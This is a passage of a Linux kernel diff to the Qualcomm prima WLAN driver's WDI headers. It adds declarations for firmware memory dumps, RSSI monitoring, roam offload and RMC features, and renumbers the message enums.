+6434,61 @@ typedef struct }WDI_MonStartReqType; +typedef struct +{ + wpt_uint8 paramType; + wpt_uint32 paramValue; + wpt_macAddr bssId; +}WDI_WifiConfigSetReqType; + +/** + * struct WDI_FwrMemDumpReqType - firmware memory dump request details. +.*.@FWMemDumpReqCb - Associated Callback + *.@fwMemDumpReqContext - Callback context + * @reserved - reserved field 1. + * + * This structure carries information about the firmware + * memory dump request. + */ +typedef struct +{ + wpt_uint32 reserved1; +}WDI_FwrMemDumpReqType; + +/** + * struct WDI_FwrMemDumpRsp - firmware dump response details. + * + * This structure is used to store the firmware dump + * response from the firmware. + */ +typedef struct +{ + wpt_uint32 dump_status; +}WDI_FwrMemDumpRsp; + +typedef struct +{ + wpt_uint32 wificonfigset_status; +}WDI_WifconfigSetRsp; + +/** + * struct WDI_ModifyRoamParamsReqType - Modified roam parameter details. + * + */ + +typedef struct { + wpt_uint8 param; + wpt_uint32 value; +}WDI_ModifyRoamParamsReqType; + +/** + * struct WDI_AllowedActionFramesInd - Allowed Action frames details + * + */ +struct WDI_AllowedActionFramesInd { + wpt_uint32 bitmask; + wpt_uint32 reserved; +}; /*---------------------------------------------------------------------------- * WDI callback types *--------------------------------------------------------------------------*/ @@ -7731,6 +8078,8 @@ typedef void (*WDI_UpdateChannelRspCb)(WDI_Status wdiStatus, typedef void (*WDI_RoamOffloadScanCb)(WDI_Status wdiStatus, void* pUserData); +typedef void (*WDI_PERRoamOffloadScanCb)(WDI_Status wdiStatus, void *pUserData); +typedef void (*WDI_PERRoamTriggerScanCb)(WDI_Status wdiStatus, void *pUserData); #endif /*--------------------------------------------------------------------------- WDI_SetTxPerTrackingRspCb @@ -7893,6 +8242,25 @@ typedef void (*WDI_HALDumpCmdRspCb)(WDI_HALDumpCmdRspParamsType* wdiHalDumpCmdR typedef void (*WDI_SetPowerParamsCb)(WDI_Status wdiStatus, void* pUserData); + +/*--------------------------------------------------------------------------- + WDA_FwrMemDumpRespCallback + + DESCRIPTION + + This callback is invoked by DAL when it has received a Fwr Mem dump + response from the underlying device. + + PARAMETERS + + IN + wdiStatus: response status received from HAL + pUserData: user data + ---------------------------------------------------------------------------*/ +typedef void (* WDI_FwrMemDumpCb) (WDI_FwrMemDumpRsp* wdiRsp, + void* pUserData); + + #ifdef WLAN_FEATURE_GTK_OFFLOAD /*--------------------------------------------------------------------------- WDI_GtkOffloadCb @@ -7992,6 +8360,15 @@ typedef void (*WDI_LphbCfgCb)(WDI_Status wdiStatus, void* pUserData); #endif /* FEATURE_WLAN_LPHB */ +#ifdef WLAN_FEATURE_RMC +typedef void (*WDI_RmcRulerRspCb)(WDI_RmcRspParamsType *wdiRmcResponse, + void* pUserData); + +typedef void (*WDI_IbssPeerInfoReqCb)(WDI_IbssPeerInfoRspParams *pInfoRspParams, + void* pUserData); + +#endif /* WLAN_FEATURE_RMC */ + #ifdef FEATURE_WLAN_BATCH_SCAN /*--------------------------------------------------------------------------- WDI_SetBatchScanCb @@ -8032,9 +8409,9 @@ typedef void (*WDI_EXTScanSetBSSIDHotlistRspCb)(void *pEventData, void *pUserData); typedef void (*WDI_EXTScanResetBSSIDHotlistRspCb)(void *pEventData, void *pUserData); -typedef void (*WDI_EXTScanSetSignfRSSIChangeRspCb)(void *pEventData, +typedef void (*WDI_EXTScanSetSSIDHotlistRspCb)(void *pEventData, void *pUserData); -typedef void (*WDI_EXTScanResetSignfRSSIChangeRspCb)(void *pEventData, +typedef void (*WDI_EXTScanResetSSIDHotlistRspCb)(void *pEventData, void *pUserData); #endif /* WLAN_FEATURE_EXTSCAN */ @@ -8062,6 +8439,15 @@ typedef void (*WDI_FatalEventLogsRspCb)( WDI_FatalEventLogsRspParamType *wdiRsp, void *pUserData); typedef void (*WDI_MonModeRspCb)(void *pEventData,void *pUserData); +typedef void (*WDI_RssiMonitorStartRspCb)(void *pEventData,void *pUserData); +typedef void (*WDI_RssiMonitorStopRspCb)(void *pEventData,void *pUserData); + +typedef void (*WDI_FwrMemDumpRspCb)(WDI_FwrMemDumpRsp *wdiRsp, void *pUserData); + +typedef void (*WDI_WifiConfigSetRspCb) (WDI_WifconfigSetRsp *wdiRsp, void *pUserData); + +typedef void (*WDI_AntennaDivSelRspCb)(WDI_Status status, + void *resp, void *pUserData); /*======================================================================== * Function Declarations and Documentation @@ -9585,6 +9971,69 @@ WDI_FWLoggingInitReq void* pUserData ); +/** + @brief WDI_StartRssiMonitorReq will be called when the upper + MAC wants to initialize Rssi Monitor on a bssid. + Upon the call of this API the WLAN DAL will pack and + send a HAL Rssi Monitor init request message to + the lower RIVA sub-system. + + In state BUSY this request will be queued. Request won't + be allowed in any other state. + + + @param pwdiRssiMonitorInfo: the Rssi Monitor params + as specified by the Device Interface + + wdiRssiMonitorStartRspCb: callback for passing back the + response of the rssi monitor operation received + from the device + + pUserData: user data will be passed back with the + callback + + @return Result of the function call +*/ +WDI_Status +WDI_StartRssiMonitorReq +( + WDI_RssiMonitorReqInfoType *pwdiRssiMonitorInfo, + WDI_RssiMonitorStartRspCb wdiRssiMonitorStartRspCb, + void* pUserData +); + + +/** + @brief WDI_StopRssiMonitorReq will be called when the upper + MAC wants to stop Rssi Monitor on a bssid. + Upon the call of this API the WLAN DAL will pack and + send a HAL Rssi Monitor stop request message to + the lower RIVA sub-system. + + In state BUSY this request will be queued. Request won't + be allowed in any other state. + + + @param pwdiRssiMonitorInfo: the Rssi Monitor params + as specified by the Device Interface + + wdiRssiMonitorStopRspCb: callback for passing back the + response of the rssi monitor operation received + from the device + + pUserData: user data will be passed back with the + callback + + @return Result of the function call +*/ +WDI_Status +WDI_StopRssiMonitorReq +( + WDI_RssiMonitorReqInfoType *pwdiRssiMonitorInfo, + WDI_RssiMonitorStopRspCb wdiRssiMonitorStopRspCb, + void* pUserData +); + /** @brief WDI_ConfigureRxpFilterReq will be called when the upper MAC wants to set/reset the RXP filters for received pkts @@ -10371,7 +10820,7 @@ WDI_AddBAReq @param wdiAddBAReqParams: the add BA parameters as specified by the Device Interface - + baReqParamUserDataSize: user data size of wdiAddBAReqParams wdiAddBARspCb: callback for passing back the response of the add BA operation received from the device @@ -10385,6 +10834,7 @@ WDI_Status WDI_TriggerBAReq ( WDI_TriggerBAReqParamsType* pwdiTriggerBAReqParams, + wpt_uint8 baReqParamUserDataSize, WDI_TriggerBARspCb wdiTriggerBARspCb, void* pUserData ); @@ -10764,6 +11214,22 @@ WDI_RoamScanOffloadReq WDI_RoamOffloadScanCb wdiRoamOffloadScancb, void* pUserData ); + +WDI_Status +WDI_PERRoamScanOffloadReq +( + WDI_PERRoamOffloadScanInfo *pwdiRoamScanOffloadReqParams, + WDI_PERRoamOffloadScanCb wdiRoamOffloadScancb, + void* pUserData +); + +WDI_Status +WDI_PERRoamScanTriggerReq +( + WDI_PERRoamTriggerScanInfo *pwdiRoamScanTriggerReqParams, + WDI_PERRoamTriggerScanCb wdiRoamTriggerScancb, + void* pUserData +); #endif /** @@ -10992,6 +11458,22 @@ WDI_dhcpStopInd WDI_DHCPInd *wdiDHCPInd ); +#ifdef WLAN_FEATURE_RMC +WDI_Status +WDI_RmcRulerReq +( + WDI_RmcRulerReqParams *wdiRmcRulerReqParams, + WDI_RmcRulerRspCb rmcRulerRspCb, + void *usrData +); + +WDI_Status +WDI_RmcUpdateInd +( + WDI_RmcUpdateIndParams *wdiRmcUpdateIndParams +); +#endif /* WLAN_FEATURE_RMC */ + /** @brief WDI_RateUpdateInd will be called when the upper MAC requests the device to update rates. @@ -11012,6 +11494,26 @@ WDI_RateUpdateInd WDI_RateUpdateIndParams *wdiRateUpdateIndParams ); +#ifdef WLAN_FEATURE_RMC +/** + @brief WDI_TXFailMonitorStartStopInd + Forward TX monitor start/stop event + + @param + + WDI_TXFailMonitorInd + + @see + @return Result of the function call +*/ + +WDI_Status +WDI_TXFailMonitorStartStopInd +( + WDI_TXFailMonitorInd *wdiTXFailMonitorInd +); +#endif /* WLAN_FEATURE_RMC */ + #ifdef WLAN_FEATURE_GTK_OFFLOAD /** @brief WDI_GTKOffloadReq will be called when the upper MAC @@ -11360,40 +11862,52 @@ WDI_Status WDI_EXTScanResetBSSIDHotlistReq ); /** - @brief WDI_EXTScanSetSignfRSSIChangeReq - This API is called to send Set Significant RSSI Request FW + @brief WDI_EXTScanSetSSIDHotlistReq + This API is called to send Set SSID Hotlist Request FW - @param pwdiEXTScanSetSignfRSSIChangeReqParams : pointer to the request params. - wdiEXTScanSetSignfRSSIChangeRspCb : callback on getting the response. + @param pwdiEXTScanSetBssidHotlistReqParams : pointer to the request params. + wdiEXTScanSetBSSIDHotlistRspCb : callback on getting the response. usrData : Client context @see @return SUCCESS or FAIL */ -WDI_Status WDI_EXTScanSetSignfRSSIChangeReq +WDI_Status WDI_EXTScanSetSSIDHotlistReq ( - WDI_EXTScanSetSignfRSSIChangeReqParams* - pwdiEXTScanSetSignfRSSIChangeReqParams, - WDI_EXTScanSetSignfRSSIChangeRspCb wdiEXTScanSetSignfRSSIChangeRspCb, + WDI_EXTScanSetSSIDHotlistReqParams* pwdiEXTScanSetSSIDHotlistReqParams, + WDI_EXTScanSetSSIDHotlistRspCb wdiEXTScanSetSSIDHotlistRspCb, void* pUserData ); /** - @brief WDI_EXTScanResetSignfRSSIChangeReq - This API is called to send Reset BSSID Hotlist Request FW + @brief WDI_EXTScanResetSSIDHotlistReq + This API is called to send Reset SSID Hotlist Request FW - @param pwdiEXTScanResetSignfRSSIChangeReqParams : pointer to the request params. - wdiEXTScanResetSignfRSSIChangeRs : callback on getting the response. + @param pwdiEXTScanResetSsidHotlistReqParams : pointer to the request params. + wdiEXTScanGetCachedResultsRspCb : callback on getting the response. usrData : Client context @see @return SUCCESS or FAIL */ -WDI_Status WDI_EXTScanResetSignfRSSIChangeReq +WDI_Status WDI_EXTScanResetSSIDHotlistReq ( - WDI_EXTScanResetSignfRSSIChangeReqParams* - pwdiEXTScanResetSignfRSSIChangeReqParams, - WDI_EXTScanResetSignfRSSIChangeRspCb wdiEXTScanResetSignfRSSIChangeRspCb, + WDI_EXTScanResetSSIDHotlistReqParams* pwdiEXTScanResetSSIDHotlistReqParams, + WDI_EXTScanResetSSIDHotlistRspCb wdiEXTScanResetSSIDHotlistRspCb, void* pUserData ); + +/** + @brief WDI_HighPriorityDataInfoInd + + @param pHighPriorityDataInfoIndParams: Req parameter for the FW + + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_HighPriorityDataInfoInd +( + WDI_HighPriorityDataInfoIndParams* pHighPriorityDataInfoIndParams +); + #endif /* WLAN_FEATURE_EXTSCAN */ #ifdef WLAN_FEATURE_LINK_LAYER_STATS @@ -11515,6 +12029,26 @@ WDI_TriggerBatchScanResultInd(WDI_TriggerBatchScanResultIndType *pWdiReq); #endif /*FEATURE_WLAN_BATCH_SCAN*/ +#ifdef WLAN_FEATURE_RMC +/** + @brief Process peer info req + + @param pWDICtx: pointer to the WLAN DAL context + pEventData: pointer to the event information structure + + @see + @return Result of the function call +*/ + +WDI_Status +WDI_IbssPeerInfoReq +( + WDI_IbssPeerInfoReqType* wdiPeerInfoReqParams, + WDI_IbssPeerInfoReqCb wdiIbssPeerInfoReqCb, + void* pUserData +); +#endif /* WLAN_FEATURE_RMC */ + /** @brief wdi_HT40OBSSScanInd This API is called to start OBSS scan @@ -11556,6 +12090,16 @@ WDI_EncryptMsgReq(void* pwdiEncryptMsgParams, void* pUserData ); +WDI_Status +WDI_FwrMemDumpReq + +( + WDI_FwrMemDumpReqType *pwdiFwrMemDumpReqInfo, + WDI_FwrMemDumpCb wdiFwrMemDumpRspCb, + void* pUserData +); + + /** @brief WDI_NanRequest NAN request @@ -11594,7 +12138,7 @@ WDI_SetRtsCtsHTVhtInd WDI_Status WDI_FWLoggingDXEdoneInd ( - WDI_FWLoggingDXEdoneIndInfoType* pwdiFWLoggingDXEdoneInd + wpt_uint32 logType ); /** @@ -11612,8 +12156,85 @@ WDI_EnableDisableCAEventInd wpt_uint32 val ); +#ifdef FEATURE_OEM_DATA_SUPPORT + +/** + @brief WDI_HighPriorityDataInfoInd + + @param pHighPriorityDataInfoIndParams: Req parameter for the FW + + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_StartOemDataReqIndNew +( + WDI_OemDataReqNewConfig *pOemDataReqNewConfig +); +#endif + #ifdef __cplusplus } #endif +/** + @brief WDI_WifiConfigSetReq + This API is called to send WifiConfig request to FW + + @param pwdiWifConfigSetReqParams : pointer to wificonfig params + wdiLLStatsSetRspCb : set wificonfig response callback + usrData : Client context + @see + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_WifiConfigSetReq + (WDI_WifiConfigSetReqType* pwdiWifConfigSetReqParams, + WDI_WifiConfigSetRspCb wdiWifiConfigSetRspCb, + void* pUserData); + +/** + @brief WDI_GetCurrentAntennaIndex + This API is called to send getCurretAntennaIndex request to FW + + @param pUserData: pointer to request params + wdiLLStatsSetRspCb : set wificonfig response callback + reserved: request parameter + @see + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_GetCurrentAntennaIndex +( + void *pUserData, + WDI_AntennaDivSelRspCb wdiAntennaDivSelRspCb, + wpt_uint32 reserved +); + +/** + @brief WDI_SetBcnMissPenaltyCount + This API is called to send modified roam parameters to FW + + @param params: pointer to request params + @see + @return SUCCESS or FAIL +*/ +WDI_Status +WDI_SetBcnMissPenaltyCount +( + WDI_ModifyRoamParamsReqType *params +); + +/** + * WDI_SetAllowedActionFramesInd - This API is called to send Allowed + * Action frame details to FW + * @allowed_action_frames: Pointer to WDI_AllowedActionFramesInd structure + * which holds bitmask of allowed action frames + * + */ +WDI_Status +WDI_SetAllowedActionFramesInd( + struct WDI_AllowedActionFramesInd *allowed_action_frames +); + +void WDI_SetMgmtPktViaWQ5(wpt_boolean sendMgmtPktViaWQ5); #endif /* #ifndef WLAN_QCT_WDI_H */ diff --git a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_bd.h b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_bd.h index 59de6aa994674..e42c1833a952d 100644 --- a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_bd.h +++ b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_bd.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2013, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -451,7 +451,8 @@ typedef struct wpt_uint32 reorderSlotIdx:6; #ifdef WCN_PRONTO - wpt_uint32 reserved7: 2; + wpt_uint32 reserved7: 1; + wpt_uint32 perRoamCndInd:1; wpt_uint32 outOfOrderForward: 1; wpt_uint32 reorderEnable: 1; #else @@ -463,7 +464,8 @@ typedef struct #ifdef WCN_PRONTO wpt_uint32 reorderEnable: 1; wpt_uint32 outOfOrderForward: 1; - wpt_uint32 reserved7: 2; + wpt_uint32 perRoamCndInd:1; + wpt_uint32 reserved7: 1; #else wpt_uint32 reserved7:4; #endif //WCN_PRONTO diff --git a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_dp.h b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_dp.h index 76b3395a04ed7..465946ebae84b 100644 --- a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_dp.h +++ b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_dp.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2014 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2014, 2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -120,9 +120,9 @@ when who what, where, why #define HAL_TDLS_PEER_STA_MASK 0x80 //bit 7 set for TDLS peer station #endif -/* Bit 8 is used to route reliable multicast data frames from QID 1. - This dynamically changes ACK_POLICY = TRUE for multicast frames */ -#define WDI_RELIABLE_MCAST_REQUESTED_MASK 0x100 +#ifdef WLAN_FEATURE_RMC +#define WDI_RMC_REQUESTED_MASK 0x100 +#endif #define WDI_USE_BD_RATE_1_MASK 0x1000 #define WDI_USE_BD_RATE_2_MASK 0x2000 @@ -139,6 +139,9 @@ when who what, where, why #define WDI_DPU_FEEDBACK_OFFSET 1 +#define WDI_MAC_LLC_HEADER_SIZE 8 + + // Frame Type definitions #define WDI_MAC_MGMT_FRAME 0x0 @@ -303,6 +306,7 @@ when who what, where, why //LFR scan related #define WDI_RX_BD_GET_OFFLOADSCANLEARN( _pvBDHeader ) (((WDI_RxBdType*)_pvBDHeader)->offloadScanLearn) #define WDI_RX_BD_GET_ROAMCANDIDATEIND( _pvBDHeader ) (((WDI_RxBdType*)_pvBDHeader)->roamCandidateInd) +#define WDI_RX_BD_GET_PER_ROAMCANDIDATEIND( _pvBDHeader ) (((WDI_RxBdType*)_pvBDHeader)->perRoamCndInd) #endif #ifdef WLAN_FEATURE_EXTSCAN #define WDI_RX_BD_GET_EXTSCANFULLSCANRESIND( _pvBDHeader ) (((WDI_RxBdType*)_pvBDHeader)->extscanBuffer) @@ -336,6 +340,9 @@ when who what, where, why #define WDI_TX_BD_SET_MPDU_HEADER_LEN( _bd, _len ) (((WDI_TxBdType*)_bd)->mpduHeaderLength = _len) +#define WDI_TX_BD_GET_MPDU_HEADER_LEN( _bd ) (((WDI_TxBdType*)_bd)->mpduHeaderLength) + + #define WDI_TX_BD_SET_MPDU_LEN( _bd, _len ) (((WDI_TxBdType*)_bd)->mpduLength = _len) #define WDI_RX_BD_GET_BA_OPCODE(_pvBDHeader) (((WDI_RxBdType*)_pvBDHeader)->reorderOpcode) diff --git a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_i.h b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_i.h index d921d371255ba..7debb41ad074b 100644 --- a/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_i.h +++ b/drivers/staging/prima/CORE/WDI/CP/inc/wlan_qct_wdi_i.h @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2013 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -96,8 +96,10 @@ when who what, where, why #ifdef WLAN_SOFTAP_VSTA_FEATURE #define WDI_MAX_SUPPORTED_STAS 41 +#define WDI_MAX_IBSS_PEER_SUPPORED_STAS 32 #else #define WDI_MAX_SUPPORTED_STAS 12 +#define WDI_MAX_IBSS_PEER_SUPPORED_STAS 11 #endif #define WDI_MAX_SUPPORTED_BSS 5 @@ -435,96 +437,129 @@ typedef enum /* WLAN FW LPHB config request */ WDI_LPHB_CFG_REQ = 85, +#ifdef WLAN_FEATURE_RMC + WDI_RMC_RULER_REQ = 86, + WDI_HAL_IBSS_PEER_INFO_REQ = 87, +#endif /* WLAN_FEATURE_RMC */ /* WLAN FW set batch scan request */ - WDI_SET_BATCH_SCAN_REQ = 86, + WDI_SET_BATCH_SCAN_REQ = 88, /*WLAN DAL Set Max Tx Power Per band Request*/ - WDI_SET_MAX_TX_POWER_PER_BAND_REQ = 87, + WDI_SET_MAX_TX_POWER_PER_BAND_REQ = 89, - WDI_UPDATE_CHAN_REQ = 88, + WDI_UPDATE_CHAN_REQ = 90, - WDI_GET_BCN_MISS_RATE_REQ = 89, + WDI_GET_BCN_MISS_RATE_REQ = 91, #ifdef WLAN_FEATURE_LINK_LAYER_STATS - WDI_LL_STATS_SET_REQ = 90, - WDI_LL_STATS_GET_REQ = 91, - WDI_LL_STATS_CLEAR_REQ = 92, + WDI_LL_STATS_SET_REQ = 92, + WDI_LL_STATS_GET_REQ = 93, + WDI_LL_STATS_CLEAR_REQ = 94, #endif #ifdef WLAN_FEATURE_EXTSCAN - WDI_EXTSCAN_START_REQ = 93, - WDI_EXTSCAN_STOP_REQ = 94, - WDI_EXTSCAN_GET_CACHED_RESULTS_REQ = 95, - WDI_EXTSCAN_GET_CAPABILITIES_REQ = 96, - WDI_EXTSCAN_SET_BSSID_HOTLIST_REQ = 97, - WDI_EXTSCAN_RESET_BSSID_HOTLIST_REQ = 98, - WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ = 99, - WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ = 100, + WDI_EXTSCAN_START_REQ = 95, + WDI_EXTSCAN_STOP_REQ = 96, + WDI_EXTSCAN_GET_CACHED_RESULTS_REQ = 97, + WDI_EXTSCAN_GET_CAPABILITIES_REQ = 98, + WDI_EXTSCAN_SET_BSSID_HOTLIST_REQ = 99, + WDI_EXTSCAN_RESET_BSSID_HOTLIST_REQ = 100, + WDI_EXTSCAN_SET_SSID_HOTLIST_REQ = 101, + WDI_EXTSCAN_RESET_SSID_HOTLIST_REQ = 102, #endif - WDI_SPOOF_MAC_ADDR_REQ = 101, + WDI_SPOOF_MAC_ADDR_REQ = 103, - WDI_GET_FW_STATS_REQ = 102, + WDI_GET_FW_STATS_REQ = 104, /* Send command to encrypt the given message */ - WDI_ENCRYPT_MSG_REQ = 103, - - WDI_FW_LOGGING_INIT_REQ = 104, - WDI_GET_FRAME_LOG_REQ = 105, + WDI_ENCRYPT_MSG_REQ = 105, + WDI_FW_LOGGING_INIT_REQ = 106, + WDI_GET_FRAME_LOG_REQ = 107, /* NAN Request */ - WDI_NAN_REQUEST = 106, + WDI_NAN_REQUEST = 108, - WDI_MON_START_REQ = 107, - WDI_MON_STOP_REQ = 108, - WDI_FATAL_EVENT_LOGGING_REQ = 109, + WDI_MON_START_REQ = 109, + WDI_MON_STOP_REQ = 110, + WDI_FATAL_EVENT_LOGGING_REQ = 111, + WDI_FWR_MEM_DUMP_REQ = 112, + WDI_START_RSSI_MONITOR_REQ = 113, + WDI_STOP_RSSI_MONITOR_REQ = 114, + WDI_WIFI_CONFIG_SET_REQ = 115, + +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + WDI_PER_ROAM_SCAN_OFFLOAD_REQ = 116, + WDI_PER_ROAM_SCAN_TRIGGER_REQ = 117, +#endif WDI_MAX_REQ, /*Send a suspend Indication down to HAL*/ - WDI_HOST_SUSPEND_IND = WDI_MAX_REQ , + WDI_HOST_SUSPEND_IND = WDI_MAX_REQ, /* Send a traffic stats indication to HAL */ - WDI_TRAFFIC_STATS_IND, + WDI_TRAFFIC_STATS_IND = WDI_MAX_REQ + 1, /* DHCP Start Indication */ - WDI_DHCP_START_IND, + WDI_DHCP_START_IND = WDI_MAX_REQ + 2, /* DHCP Stop Indication */ - WDI_DHCP_STOP_IND, + WDI_DHCP_STOP_IND = WDI_MAX_REQ + 3, /* Drop/Receive unencrypted frames indication to HAL */ - WDI_EXCLUDE_UNENCRYPTED_IND, + WDI_EXCLUDE_UNENCRYPTED_IND = WDI_MAX_REQ + 4, /* Send an add periodic Tx pattern indication to HAL */ - WDI_ADD_PERIODIC_TX_PATTERN_IND, + WDI_ADD_PERIODIC_TX_PATTERN_IND = WDI_MAX_REQ + 5, /* Send a delete periodic Tx pattern indicationto HAL */ - WDI_DEL_PERIODIC_TX_PATTERN_IND, + WDI_DEL_PERIODIC_TX_PATTERN_IND = WDI_MAX_REQ + 6, - /*Send stop batch scan indication to FW*/ - WDI_STOP_BATCH_SCAN_IND, +#ifdef WLAN_FEATURE_RMC + /* Send RMC Update Indication */ + WDI_RMC_UPDATE_IND = WDI_MAX_REQ + 7, +#endif + /* Send Rate Update Indication */ + WDI_RATE_UPDATE_IND = WDI_MAX_REQ + 8, /*Send stop batch scan indication to FW*/ - WDI_TRIGGER_BATCH_SCAN_RESULT_IND, + WDI_STOP_BATCH_SCAN_IND = WDI_MAX_REQ + 9, - /* Send Rate Update Indication */ - WDI_RATE_UPDATE_IND, + /*Send stop batch scan indication to FW*/ + WDI_TRIGGER_BATCH_SCAN_RESULT_IND = WDI_MAX_REQ + 10, - WDI_START_HT40_OBSS_SCAN_IND, - WDI_STOP_HT40_OBSS_SCAN_IND, +#ifdef WLAN_FEATURE_RMC + /* TX Monitor start/stop indication */ + WDI_TX_FAIL_MONITOR_IND = WDI_MAX_REQ + 11, +#endif + WDI_START_HT40_OBSS_SCAN_IND = WDI_MAX_REQ +12, + WDI_STOP_HT40_OBSS_SCAN_IND = WDI_MAX_REQ +13, /* csa channel switch req*/ - WDI_CH_SWITCH_REQ_V1, - WDI_TDLS_CHAN_SWITCH_REQ, - WDI_SET_RTS_CTS_HTVHT_IND, - WDI_FW_LOGGING_DXE_DONE_IND, - WDI_SEND_FREQ_RANGE_CONTROL_IND, + WDI_CH_SWITCH_REQ_V1 = WDI_MAX_REQ + 14, + WDI_TDLS_CHAN_SWITCH_REQ = WDI_MAX_REQ + 15, + WDI_SET_RTS_CTS_HTVHT_IND = WDI_MAX_REQ + 16, + WDI_FW_LOGGING_DXE_DONE_IND = WDI_MAX_REQ + 17, + WDI_SEND_FREQ_RANGE_CONTROL_IND = WDI_MAX_REQ + 18, + +#ifdef WLAN_FEATURE_EXTSCAN + WDI_HIGH_PRIORITY_DATA_INFO_IND = WDI_MAX_REQ + 19, +#endif + +#ifdef FEATURE_OEM_DATA_SUPPORT + WDI_START_OEM_DATA_REQ_IND_NEW = WDI_MAX_REQ + 20, +#endif /*Keep adding the indications to the max request such that we keep them separate */ - WDI_MAX_UMAC_IND + WDI_ANTENNA_DIVERSITY_SELECTION_REQ = WDI_MAX_REQ + 21, + WDI_MODIFY_ROAM_PARAMS_IND = WDI_MAX_REQ + 22, + WDI_SET_ALLOWED_ACTION_FRAMES_IND = WDI_MAX_REQ + 23, + + WDI_MAX_UMAC_IND = WDI_MAX_REQ + 24 + }WDI_RequestEnumType; /*--------------------------------------------------------------------------- @@ -782,45 +817,59 @@ typedef enum /* WLAN FW LPHB Config response */ WDI_LPHB_CFG_RESP = 84, - WDI_SET_BATCH_SCAN_RESP = 85, +#ifdef WLAN_FEATURE_RMC + WDI_RMC_RULER_RESP = 85, + WDI_HAL_IBSS_PEER_INFO_RSP = 86, +#endif /* WLAN_FEATURE_RMC */ - WDI_SET_MAX_TX_POWER_PER_BAND_RSP = 86, + WDI_SET_BATCH_SCAN_RESP = 87, - WDI_UPDATE_CHAN_RESP = 87, + WDI_SET_MAX_TX_POWER_PER_BAND_RSP = 88, + + WDI_UPDATE_CHAN_RESP = 89, /* channel switch resp v1*/ - WDI_CH_SWITCH_RESP_V1 = 88, + WDI_CH_SWITCH_RESP_V1 = 90, - WDI_GET_BCN_MISS_RATE_RSP = 89, + WDI_GET_BCN_MISS_RATE_RSP = 91, #ifdef WLAN_FEATURE_LINK_LAYER_STATS - WDI_LL_STATS_SET_RSP = 90, - WDI_LL_STATS_GET_RSP = 91, - WDI_LL_STATS_CLEAR_RSP = 92, + WDI_LL_STATS_SET_RSP = 92, + WDI_LL_STATS_GET_RSP = 93, + WDI_LL_STATS_CLEAR_RSP = 94, #endif #ifdef WLAN_FEATURE_EXTSCAN - WDI_EXTSCAN_START_RSP = 93, - WDI_EXTSCAN_STOP_RSP = 94, - WDI_EXTSCAN_GET_CACHED_RESULTS_RSP = 95, - WDI_EXTSCAN_GET_CAPABILITIES_RSP = 96, - WDI_EXTSCAN_SET_HOTLIST_BSSID_RSP = 97, - WDI_EXTSCAN_RESET_HOTLIST_BSSID_RSP = 98, - WDI_EXTSCAN_SET_SIGNF_RSSI_CHANGE_RSP = 99, - WDI_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_RSP = 100, + WDI_EXTSCAN_START_RSP = 95, + WDI_EXTSCAN_STOP_RSP = 96, + WDI_EXTSCAN_GET_CACHED_RESULTS_RSP = 97, + WDI_EXTSCAN_GET_CAPABILITIES_RSP = 98, + WDI_EXTSCAN_SET_HOTLIST_BSSID_RSP = 99, + WDI_EXTSCAN_RESET_HOTLIST_BSSID_RSP = 100, + WDI_EXTSCAN_SET_HOTLIST_SSID_RSP = 101, + WDI_EXTSCAN_RESET_HOTLIST_SSID_RSP = 102, #endif - WDI_SPOOF_MAC_ADDR_RSP = 101, - WDI_GET_FW_STATS_RSP = 102, + WDI_SPOOF_MAC_ADDR_RSP = 103, + WDI_GET_FW_STATS_RSP = 104, /* Send command to encrypt the given message */ - WDI_ENCRYPT_MSG_RSP = 103, + WDI_ENCRYPT_MSG_RSP = 105, - WDI_FW_LOGGING_INIT_RSP = 104, - WDI_GET_FRAME_LOG_RSP = 105, + WDI_FW_LOGGING_INIT_RSP = 106, + WDI_GET_FRAME_LOG_RSP = 107, - WDI_NAN_RESPONSE = 106, + WDI_NAN_RESPONSE = 108, - WDI_MON_START_RSP = 107, - WDI_MON_STOP_RSP = 108, - WDI_FATAL_EVENT_LOGGING_RSP = 109, + WDI_MON_START_RSP = 109, + WDI_MON_STOP_RSP = 110, + WDI_FATAL_EVENT_LOGGING_RSP = 111, + WDI_FWR_MEM_DUMP_RSP = 112, + WDI_START_RSSI_MONITOR_RSP = 113, + WDI_STOP_RSSI_MONITOR_RSP = 114, + + WDI_WIFI_CONFIG_SET_RSP = 115, +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD + WDI_PER_ROAM_SCAN_OFFLOAD_RSP = 116, + WDI_PER_ROAM_SCAN_TRIGGER_RSP = 117, +#endif /*------------------------------------------------------------------------- Indications @@ -881,27 +930,38 @@ typedef enum /* Periodic Tx Pattern Indication from FW to Host */ WDI_HAL_PERIODIC_TX_PTRN_FW_IND = WDI_HAL_IND_MIN + 16, +#ifdef WLAN_FEATURE_RMC + /* Update Indication from FW to Host */ + WDI_RMC_UPDATE_IND_TO_HOST = WDI_HAL_IND_MIN + 17, +#endif - WDI_BATCHSCAN_RESULT_IND = 